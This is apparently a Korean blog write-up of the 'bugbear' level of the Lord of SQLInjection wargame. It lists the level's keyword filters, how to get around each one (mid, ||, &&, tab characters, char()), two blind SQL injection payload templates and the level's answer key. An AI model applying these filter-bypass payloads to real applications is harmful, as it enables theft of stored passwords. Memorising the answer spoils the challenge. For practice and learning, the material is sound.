일단 쓰고보자

[los] bugbear 본문

모의해킹/Lord of SQLInjection

[los] bugbear

휘갈기갈기 2020. 4. 7. 13:47

#문제

#문제 의도

- 입력 값 필터링 규칙 (no)

if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 

  1) prob

  2) _

  3) .

  4) ()

  5) 싱글쿼터(')

  6) substr

  7) ascii

  8) =

  9) or

  10) and

  11) 공백

  12) like

  13) 0x

- 입력 값 필터링 규칙 (pw)

if(preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 

$_GET[pw] = addslashes($_GET[pw]); 

  1) 싱글쿼터(')

  2) addslashes() 함수는 싱글쿼터('), 더블쿼터("), \, NULL 문자 입력 시 문자 앞에 \를 붙여 일반 문자로 만든다.

- 목표

필터링을 사용하지 않거나 우회하여 쿼리 결과 admin의 pw를 알아내면 해결

 

#확인사항

- 필터링이 갈수록 상당히 많아지고 있다. 이번엔 darkknight 와 흡사하지만 or, and, 공백, like, 0x 문자가 추가됐다.

- 여전히 no 파라미터를 공략하면 되고, 0x 외엔 다 우회해봤다.

- 0x의 경우에도 'admin' 문자를 만들려고 썼던 것인데, char() 함수로 대체할 수 있다. 

  1) substr() → mid()

  2) ascii()  안쓰면 되고

  3) = <>

  4) or  ||

  5) and  &&

  6) 공백  %09

  7) 0x  char()

- 위와 같이 대체하고 구문을 만들어보면 아래와 같으며, 계속 유사한 유형의 문제라 이 이상의 설명은 생략한다.

- "Hello admin" 문구를 확인하며 Blind Injection을 시도해보자.

pw=1&no=1%09%7c%7c%09id%09in%09(char(97,100,109,105,110))%09%26%26length(pw)<>[문자열 길이]%23

pw=1&no=1%09%7c%7c%09id%09in%09(char(97,100,109,105,110))%09%26%26%09mid(pw,1,1)<>char([정수])%23

- 정답은 52dc3991

'모의해킹 > Lord of SQLInjection' 카테고리의 다른 글

[los] assassin  (0) 2020.04.08
[los] giant  (0) 2020.04.07
[los] darkknight  (0) 2020.04.07
[los] golem  (0) 2020.04.07
[los] skeleton  (0) 2020.04.07